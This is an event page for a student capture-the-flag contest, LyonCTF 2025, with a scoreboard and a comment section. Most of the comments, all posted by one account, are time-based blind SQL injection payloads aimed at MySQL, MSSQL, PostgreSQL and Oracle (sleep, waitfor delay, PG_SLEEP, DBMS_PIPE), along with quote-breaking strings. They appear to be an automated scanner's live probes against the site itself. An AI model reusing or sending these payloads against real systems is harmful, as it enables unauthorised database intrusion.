LyonCTF 2025

Hosted over the 2025 Easter weekend, all WLMAC students are welcome to write the LyonCTF! Create teams of up to 4 people, and try out these original problems!

Registration

To register, create an account on this site. After creating or joining a team, when the contest starts, you will be able to join the contest as a team. A comprehensive step-by-step tutorial is available here

Scoreboard
Rank Joined as Points
1 Colin 4410
1 oalabs enjoyers 4410
3 Psi505 1710
4 destrier2 1410
5 thehenhen 710
6 ZENITHjpg 410
7 mmmmmmmmmmmmmmmmmmmm 310
8 panty and stocking with garterbelt fanclub (not a cult i promise 0

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Comments
  • cqctxs's gravatar
    cqctxs commented 1 month, 1 week ago
    Wow I'm so excited!
  • fastcall's gravatar
    fastcall commented 1 month, 1 week ago
    me too!
  • SteakEnthusiast's gravatar
    SteakEnthusiast commented 1 month, 1 week ago
    icl ts pmo frfr💔🥀
  • Psi505's gravatar
    Psi505 commented 1 month, 1 week ago
    Corny ahh comments
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
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    tsSLAueP commented 2 weeks, 3 days ago
    1
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    tsSLAueP commented 2 weeks, 3 days ago
    1
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    tsSLAueP commented 2 weeks, 3 days ago
    1
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    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
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    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
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    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
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    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
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    tsSLAueP commented 2 weeks, 3 days ago
    1
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    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1*if(now()=sysdate(),sleep(15),0)
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1; waitfor delay '0:0:15' --
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1); waitfor delay '0:0:15' --
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1 waitfor delay '0:0:15' --
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    10AoOChP6'; waitfor delay '0:0:15' --
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1 OR 595=(SELECT 595 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1*if(now()=sysdate(),sleep(15),0)
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1) OR 473=(SELECT 473 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1)) OR 183=(SELECT 183 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1UBX7Vr1E' OR 944=(SELECT 944 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1fsHxKo4d') OR 504=(SELECT 504 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1; waitfor delay '0:0:15' --
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1cvy6FnOl')) OR 134=(SELECT 134 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1); waitfor delay '0:0:15' --
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1 waitfor delay '0:0:15' --
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1'"
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1����%2527%2522\'\"
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    @@zveBn
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1u7m3psXH'; waitfor delay '0:0:15' --
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1 OR 231=(SELECT 231 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1) OR 10=(SELECT 10 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1-1)) OR 588=(SELECT 588 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1moxp8kxq' OR 534=(SELECT 534 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1Z1AOSPYH') OR 65=(SELECT 65 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1NcL4UlnA')) OR 282=(SELECT 282 FROM PG_SLEEP(15))--
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1'"
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    1����%2527%2522\'\"
  • tsSLAueP's gravatar
    tsSLAueP commented 2 weeks, 3 days ago
    @@6Yfgg